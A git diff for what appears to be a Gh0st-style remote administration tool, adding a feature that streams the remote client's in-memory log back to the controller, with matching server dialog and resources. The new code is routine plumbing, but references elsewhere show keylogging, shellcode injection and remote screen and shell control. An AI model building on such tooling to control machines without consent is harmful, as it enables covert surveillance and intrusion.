diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj index 80dbb25..b0aca5a 100644 --- a/client/ClientDll_vs2015.vcxproj +++ b/client/ClientDll_vs2015.vcxproj @@ -181,6 +181,7 @@ + @@ -228,6 +229,7 @@ + diff --git a/client/ClientLogManager.cpp b/client/ClientLogManager.cpp new file mode 100644 index 0000000..4adbe16 --- /dev/null +++ b/client/ClientLogManager.cpp @@ -0,0 +1,44 @@ +#include "stdafx.h" +#include "ClientLogManager.h" +#include "../common/commands.h" +#include "../common/logger.h" + +CClientLogManager::CClientLogManager(IOCPClient* ClientObject, int n, void* p) + : CManager(ClientObject, n, p) + , m_sentIdx(0) + , m_running(true) +{ + SendLogDump(); + m_pushThread = std::thread([this]() { + while (m_running && m_ClientObject->IsConnected()) { + for (int i = 0; i < 30 && m_running; ++i) + Sleep(100); + if (m_running && m_ClientObject->IsConnected()) + SendLogDump(); + } + }); +} + +CClientLogManager::~CClientLogManager() +{ + m_running = false; + if (m_pushThread.joinable()) + m_pushThread.join(); +} + +VOID CClientLogManager::OnReceive(PBYTE szBuffer, ULONG ulLength) +{ + if (ulLength >= 1 && szBuffer[0] == COMMAND_QUERY_LOG) + SendLogDump(); +} + +void CClientLogManager::SendLogDump() +{ + std::lock_guard lock(m_sendMutex); + std::string logs = Logger::getInstance().DumpMemoryLogFrom(m_sentIdx); + std::vector pkt(1 + logs.size()); + pkt[0] = TOKEN_REPORT_LOG; + if (!logs.empty()) + memcpy(pkt.data() + 1, logs.data(), logs.size()); + Send(pkt.data(), (UINT)pkt.size()); +} diff --git a/client/ClientLogManager.h b/client/ClientLogManager.h new file mode 100644 index 0000000..0451eba --- /dev/null +++ b/client/ClientLogManager.h @@ -0,0 +1,21 @@ +#pragma once +#include "Manager.h" +#include +#include +#include + +class CClientLogManager : public CManager +{ +public: + CClientLogManager(IOCPClient* ClientObject, int n = 0, void* p = nullptr); + ~CClientLogManager(); + virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength); + +private: + void SendLogDump(); + + size_t m_sentIdx; + std::mutex m_sendMutex; + std::atomic m_running; + std::thread m_pushThread; +}; diff --git a/client/Common.cpp b/client/Common.cpp index 5afa044..926b1ad 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -14,6 +14,7 @@ #include "VideoManager.h" #include "KeyboardManager.h" #include "ProxyManager.h" +#include "ClientLogManager.h" #include "KernelManager.h" #include @@ -152,3 +153,8 @@ DWORD WINAPI LoopProxyManager(LPVOID lParam) { return LoopManager(lParam); } + +DWORD WINAPI LoopClientLogManager(LPVOID lParam) +{ + return LoopManager(lParam); +} diff --git a/client/Common.h b/client/Common.h index 8445738..12ddd66 100644 --- a/client/Common.h +++ b/client/Common.h @@ -36,3 +36,4 @@ DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopProxyManager(LPVOID lParam); +DWORD WINAPI LoopClientLogManager(LPVOID lParam); diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index a542843..0edfe1c 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -811,6 +811,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) std::string publicIP = m_ClientObject->GetClientIP(); switch (szBuffer[0]) { + case COMMAND_QUERY_LOG: { + auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP); + sub->EnableSubConnAuth(); + m_hThread[m_ulThreadCount].p = sub; + m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL); + break; + } case CMD_SET_GROUP: { std::string group = std::string((char*)szBuffer + 1); m_cfg->SetStr("settings", "group_name", group); diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index fcfe3e5..a49d3c3 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -201,6 +201,7 @@ + @@ -252,6 +253,7 @@ + diff --git a/common/commands.h b/common/commands.h index 005c7e7..bb698a7 100644 --- a/common/commands.h +++ b/common/commands.h @@ -313,7 +313,9 @@ enum { COMMAND_SCREEN_ROI = 152, // 屏幕区域 COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏) COMMAND_SCREEN_SIGNATURE = 154, - + COMMAND_QUERY_LOG = 155, + TOKEN_REPORT_LOG = 156, + TOKEN_DECRYPT = 199, TOKEN_REGEDIT = 200, // 注册表 COMMAND_REG_FIND, // 注册表 管理标识 diff --git a/common/logger.h b/common/logger.h index 58a053a..f8c539f 100644 --- a/common/logger.h +++ b/common/logger.h @@ -29,6 +29,7 @@ #include #include #include +#include inline bool stringToBool(const std::string& str) @@ -150,6 +151,16 @@ public: std::string logEntry = file && line ? id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message: id + "[" + timestamp + "] " + message; + + // Always record to in-memory ring buffer regardless of enable flag. + { + std::lock_guard lock(m_memMutex); + m_memLog.push_back(logEntry); + m_totalCount++; + if (m_memLog.size() > kMemLogMax) + m_memLog.pop_front(); + } + if (enable) { if (running) { std::lock_guard lock(queueMutex); @@ -168,6 +179,32 @@ public: cv.notify_one(); // 通知写线程 } + // 返回内存 ring buffer 中的全部日志(供 TCP 查询使用) + std::string DumpMemoryLog() const + { + std::lock_guard lock(m_memMutex); + std::string result; + result.reserve(m_memLog.size() * 128); + for (const auto& entry : m_memLog) + result += entry; + return result; + } + + // 增量版本:只返回 fromAbs 之后的新条目,并将 fromAbs 更新到当前末尾。 + // fromAbs 是调用方维护的绝对计数器(首次传 0 即得全量)。 + std::string DumpMemoryLogFrom(size_t& fromAbs) const + { + std::lock_guard lock(m_memMutex); + // ring buffer 内最旧条目的绝对序号 + size_t oldest = (m_totalCount >= m_memLog.size()) ? m_totalCount - m_memLog.size() : 0; + size_t startIdx = (fromAbs <= oldest) ? 0 : (fromAbs - oldest); + std::string result; + for (size_t i = startIdx; i < m_memLog.size(); ++i) + result += m_memLog[i]; + fromAbs = m_totalCount; + return result; + } + // 停止日志系统 void stop() { @@ -220,6 +257,11 @@ private: std::mutex fileMutex; // 文件写入锁 std::string pid; // 进程ID + static constexpr size_t kMemLogMax = 1000; + std::deque m_memLog; + size_t m_totalCount = 0; + mutable std::mutex m_memMutex; + Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {} ~Logger() diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 46b0a2b..4d2fb83 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 1d88d38..2beb10e 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -14,6 +14,7 @@ #include "ShellDlg.h" #include "TerminalDlg.h" #include "SystemDlg.h" +#include "CClientLog.h" #include "BuildDlg.h" #include "AudioDlg.h" #include "RegisterDlg.h" @@ -644,6 +645,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY); m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND); m_bmOnline[60].LoadBitmap(IDB_BITMAP_DEBUG); + m_bmOnline[61].LoadBitmap(IDB_BITMAP_CLIENTLOG); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; m_ServerBin[i] = nullptr; @@ -894,6 +896,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode) ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen) ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen) + ON_MESSAGE(WM_OPENCLIENTLOGDIALOG, OnOpenClientLogDialog) ON_MESSAGE(WM_SHARE_CLIENT, ShareClient) ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient) ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient) @@ -999,6 +1002,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd) ON_COMMAND(ID_ONLINE_VIEW_WND, &CMy2015RemoteDlg::OnOnlineWindowManager) ON_COMMAND(ID_ENABLE_DEV_DEBUG, &CMy2015RemoteDlg::OnEnableDevDebug) + ON_COMMAND(ID_ONLINE_CLIENT_LOG, &CMy2015RemoteDlg::OnOnlineClientLog) END_MESSAGE_MAP() @@ -4049,6 +4053,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]); Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]); Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]); + Menu.SetMenuItemBitmaps(ID_ONLINE_CLIENT_LOG, MF_BYCOMMAND, &m_bmOnline[61], &m_bmOnline[61]); Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权")); @@ -5234,6 +5239,20 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) // 【L】:主机上下线和授权 // 【x】:对话框相关功能 switch (cmd) { + case TOKEN_REPORT_LOG: { + std::string logText((char*)(szBuffer + 1), len > 1 ? len - 1 : 0); + if (!ContextObject->hDlg) { + // 对话框尚未打开:用 SendMessage 同步打开并显示初始全量日志 + SendMessage(WM_OPENCLIENTLOGDIALOG, + (WPARAM)new std::string(logText), + (LPARAM)ContextObject); + } else { + // 对话框已在:PostMessage 追加增量日志 + static_cast(ContextObject->hDlg)->PostMessage( + WM_REPORT_CLIENT_LOG, 0, (LPARAM)new std::string(logText)); + } + break; + } case TOKEN_CLIENT_MSG: { ClientMsg *msg =(ClientMsg*)ContextObject->InDeCompressedBuffer.GetBuffer(0); PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title))); @@ -11533,3 +11552,24 @@ void CMy2015RemoteDlg::OnEnableDevDebug() "YAMA_DBG=" + CString(debug), _L("提示"), MB_ICONINFORMATION); } } + +void CMy2015RemoteDlg::OnOnlineClientLog() +{ + BYTE cmd = COMMAND_QUERY_LOG; + SendSelectedCommand(&cmd, sizeof(BYTE)); +} + +LRESULT CMy2015RemoteDlg::OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam) +{ + std::string* pInitLog = reinterpret_cast(wParam); + std::string initLog = pInitLog ? *pInitLog : ""; + delete pInitLog; + + OpenDialog(0, lParam); + + CONTEXT_OBJECT* ctx = reinterpret_cast(lParam); + if (ctx && ctx->hDlg && !initLog.empty()) + static_cast(ctx->hDlg)->AppendLog(initLog); + + return 0; +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 4a5d803..56ff46a 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -382,7 +382,7 @@ public: bool IsDllRequestLimited(const std::string& ip); void RecordDllRequest(const std::string& ip); CMenu m_MainMenu; - CBitmap m_bmOnline[61]; + CBitmap m_bmOnline[62]; uint64_t m_superID; std::map m_RemoteWnds; FileTransformCmd m_CmdList; @@ -637,4 +637,6 @@ public: afx_msg void OnCopyClientInfo(); afx_msg void OnOnlineActiveWnd(); afx_msg void OnEnableDevDebug(); + afx_msg void OnOnlineClientLog(); + afx_msg LRESULT OnOpenClientLogDialog(WPARAM wParam, LPARAM lParam); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index c5d8f56..3c500dc 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -290,6 +290,7 @@ + @@ -371,6 +372,7 @@ + NotUsing NotUsing @@ -507,6 +509,7 @@ + @@ -561,6 +564,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index b6ea1b8..96c5687 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -84,6 +84,7 @@ + @@ -188,6 +189,7 @@ + @@ -328,5 +330,7 @@ + + \ No newline at end of file diff --git a/server/2015Remote/CClientLog.cpp b/server/2015Remote/CClientLog.cpp new file mode 100644 index 0000000..c189e5c --- /dev/null +++ b/server/2015Remote/CClientLog.cpp @@ -0,0 +1,106 @@ +// CClientLog.cpp: 实现文件 + +#include "stdafx.h" +#include "afxdialogex.h" +#include "CClientLog.h" +#include "resource.h" +#include "../../common/commands.h" + + +IMPLEMENT_DYNAMIC(CClientLog, CDialogEx) + +CClientLog::CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext) + : CDialogBase(IDD_DIALOG_CLIENT_LOG, pParent, pServer, pContext, 0) +{ +} + +CClientLog::~CClientLog() +{ +} + +void CClientLog::DoDataExchange(CDataExchange* pDX) +{ + CDialogBase::DoDataExchange(pDX); + DDX_Control(pDX, IDC_EDIT_LOG, m_editLog); +} + +BEGIN_MESSAGE_MAP(CClientLog, CDialogBase) + ON_WM_DESTROY() + ON_WM_SIZE() + ON_MESSAGE(WM_REPORT_CLIENT_LOG, OnReportLog) +END_MESSAGE_MAP() + +BOOL CClientLog::OnInitDialog() +{ + CDialogBase::OnInitDialog(); + SetWindowText(_TR("客户端日志") + " - " + m_IPAddress); + HICON hIcon = AfxGetApp()->LoadIcon(IDI_CLIENTLOG); + SetIcon(hIcon, TRUE); + SetIcon(hIcon, FALSE); + CFont* pFont = new CFont(); + pFont->CreatePointFont(85, _T("Consolas")); + m_editLog.SetFont(pFont); + return TRUE; +} + +void CClientLog::OnSize(UINT nType, int cx, int cy) +{ + CDialogBase::OnSize(nType, cx, cy); + if (m_editLog.GetSafeHwnd() && cx > 0 && cy > 0) + m_editLog.MoveWindow(7, 7, cx - 14, cy - 14); +} + +void CClientLog::OnDestroy() +{ + if (m_ContextObject && m_bConnected) { + BYTE cmd = COMMAND_BYE; + m_ContextObject->Send2Client(&cmd, 1); + } + CDialogBase::OnDestroy(); +} + +void CClientLog::AppendLog(const std::string& text) +{ + if (text.empty()) return; + // \n → \r\n,Windows 编辑框换行需要 \r\n + std::string norm; + norm.reserve(text.size() + 64); + for (size_t i = 0; i < text.size(); ++i) { + if (text[i] == '\n' && (i == 0 || text[i - 1] != '\r')) + norm += '\r'; + norm += text[i]; + } + // 超过 512KB 时截断旧内容 + int existing = m_editLog.GetWindowTextLength(); + if (existing > 512 * 1024) { + CString cur; + m_editLog.GetWindowText(cur); + m_editLog.SetWindowText(cur.Mid(cur.GetLength() - 256 * 1024)); + } + // 追加到末尾并滚动 + CString add = CA2T(norm.c_str(), CP_UTF8); + m_editLog.SetSel(-1, -1); + m_editLog.ReplaceSel(add); + m_editLog.SendMessage(EM_SCROLLCARET); +} + +void CClientLog::OnReceiveComplete() +{ + auto& buf = m_ContextObject->InDeCompressedBuffer; + if (buf.GetBYTE(0) != TOKEN_REPORT_LOG) + return; + unsigned len = buf.GetBufferLen(); + auto* pText = new std::string((char*)(buf.GetBuffer() + 1), len > 1 ? len - 1 : 0); + if (!PostMessage(WM_REPORT_CLIENT_LOG, 0, (LPARAM)pText)) + delete pText; +} + +LRESULT CClientLog::OnReportLog(WPARAM /*wParam*/, LPARAM lParam) +{ + std::string* pText = reinterpret_cast(lParam); + if (pText) { + AppendLog(*pText); + delete pText; + } + return 0; +} diff --git a/server/2015Remote/CClientLog.h b/server/2015Remote/CClientLog.h new file mode 100644 index 0000000..d791403 --- /dev/null +++ b/server/2015Remote/CClientLog.h @@ -0,0 +1,31 @@ +#pragma once +#include "afxcmn.h" +#include "IOCPServer.h" + +class CClientLog : public CDialogBase +{ + DECLARE_DYNAMIC(CClientLog) + +public: + CClientLog(CWnd* pParent, Server* pServer, CONTEXT_OBJECT* pContext); + virtual ~CClientLog(); + + virtual void OnReceiveComplete(); + void AppendLog(const std::string& text); + +protected: + virtual BOOL OnInitDialog(); + virtual void DoDataExchange(CDataExchange* pDX); + afx_msg void OnDestroy(); + afx_msg void OnSize(UINT nType, int cx, int cy); + afx_msg LRESULT OnReportLog(WPARAM wParam, LPARAM lParam); + + DECLARE_MESSAGE_MAP() + +private: + CEdit m_editLog; + +#ifdef AFX_DESIGN_TIME + enum { IDD = IDD_DIALOG_CLIENT_LOG }; +#endif +}; diff --git a/server/2015Remote/lang/en_US.ini b/server/2015Remote/lang/en_US.ini index 4c9ecac..45b42fd 100644 --- a/server/2015Remote/lang/en_US.ini +++ b/server/2015Remote/lang/en_US.ini @@ -1954,3 +1954,5 @@ FRPC Զ û=Set YAMA_DBG óɹ! ͵=Successful! Please restart program and debugger. ʧ! ͨȨ޲, ֶϵͳá=Failed! You have to set it via system environment center. +־=Client Log +ͻ־=Client Log diff --git a/server/2015Remote/lang/zh_TW.ini b/server/2015Remote/lang/zh_TW.ini index 4fab31c..86ee1f0 100644 --- a/server/2015Remote/lang/zh_TW.ini +++ b/server/2015Remote/lang/zh_TW.ini @@ -1945,3 +1945,5 @@ FRPC Զ û=û óɹ! ͵=óɹ! ͵ ʧ! ͨȨ޲, ֶϵͳá=ʧ! ͨȨ޲, ֶϵͳá +־=־ +ͻ־=ͻ־ diff --git a/server/2015Remote/res/Bitmap/ClientLog.bmp b/server/2015Remote/res/Bitmap/ClientLog.bmp new file mode 100644 index 0000000..4fd8269 Binary files /dev/null and b/server/2015Remote/res/Bitmap/ClientLog.bmp differ diff --git a/server/2015Remote/res/ClientLog.ico b/server/2015Remote/res/ClientLog.ico new file mode 100644 index 0000000..0bf1e35 Binary files /dev/null and b/server/2015Remote/res/ClientLog.ico differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 66aa8ab..0520e1e 100644 --- a/server/2015Remote/resource.h +++ b/server/2015Remote/resource.h @@ -271,8 +271,11 @@ #define IDB_BITMAP_ACTIVE_WND 390 #define IDR_BINARY8 391 #define IDR_ANDROID_GHOST 391 -#define IDB_BITMAP11 392 #define IDB_BITMAP_DEBUG 392 +#define IDD_DIALOG8 393 +#define IDD_DIALOG_CLIENT_LOG 393 +#define IDB_BITMAP_CLIENTLOG 395 +#define IDI_CLIENTLOG 396 #define IDC_MESSAGE 1000 #define IDC_ONLINE 1001 #define IDC_STATIC_TIPS 1002 @@ -756,6 +759,7 @@ #define IDC_LIST_TRIGGERS 2543 #define IDC_STATIC_TRIGGER_TYPE 2544 #define IDC_STATIC_TRIGGER_ACTION 2545 +#define IDC_EDIT_LOG 2546 #define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_DELETE 32775 @@ -1015,14 +1019,16 @@ #define ID_ONLINE_VIEW_WND 33070 #define ID_33071 33071 #define ID_ENABLE_DEV_DEBUG 33072 +#define ID_ONLINE_33073 33073 +#define ID_ONLINE_CLIENT_LOG 33074 #define ID_EXIT_FULLSCREEN 40001 // Next default values for new objects // #ifdef APSTUDIO_INVOKED #ifndef APSTUDIO_READONLY_SYMBOLS -#define _APS_NEXT_RESOURCE_VALUE 393 -#define _APS_NEXT_COMMAND_VALUE 33073 +#define _APS_NEXT_RESOURCE_VALUE 397 +#define _APS_NEXT_COMMAND_VALUE 33075 #define _APS_NEXT_CONTROL_VALUE 2542 #define _APS_NEXT_SYMED_VALUE 105 #endif diff --git a/server/2015Remote/stdafx.h b/server/2015Remote/stdafx.h index d1db944..e211191 100644 --- a/server/2015Remote/stdafx.h +++ b/server/2015Remote/stdafx.h @@ -110,6 +110,8 @@ #define WM_SPLITTER_MOVED WM_USER+3040 #define WM_SPLITTER_RELEASED WM_USER+3041 #define WM_OPEN_WINDOW_SCREEN WM_USER+3042 // 窗口管理→打开指定窗口远程画面 +#define WM_OPENCLIENTLOGDIALOG WM_USER+3043 // 打开客户端日志对话框 +#define WM_REPORT_CLIENT_LOG WM_USER+3044 // 追加日志到已打开的对话框 #ifdef _UNICODE #if defined _M_IX86